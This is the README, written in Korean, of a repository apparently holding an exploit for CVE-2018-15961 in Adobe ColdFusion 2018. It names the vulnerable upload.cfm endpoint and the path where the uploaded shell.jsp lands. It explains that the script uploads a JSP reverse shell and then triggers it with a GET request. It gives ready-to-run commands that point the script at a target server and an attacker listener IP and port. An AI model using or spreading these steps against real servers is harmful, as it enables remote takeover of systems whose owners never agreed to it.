CVE-2018-15961 - Adobe ColdFusion 2018 RCE

이 저장소는 Adobe ColdFusion 2018의 RCE 취약점에 대한 익스플로잇 코드를 포함하고 있습니다.

익스플로잇 설명

익스플로잇은 JSP 리버스 셸을 포함한 POST 요청을 /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm으로 보냅니다. 성공하면 이 요청은 셸을 /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp에 업로드합니다. 그런 다음 코드는 간단한 GET 요청을 보내 셸을 트리거합니다.

사용법

# Basic usage
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443

# With custom filename for the shell
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp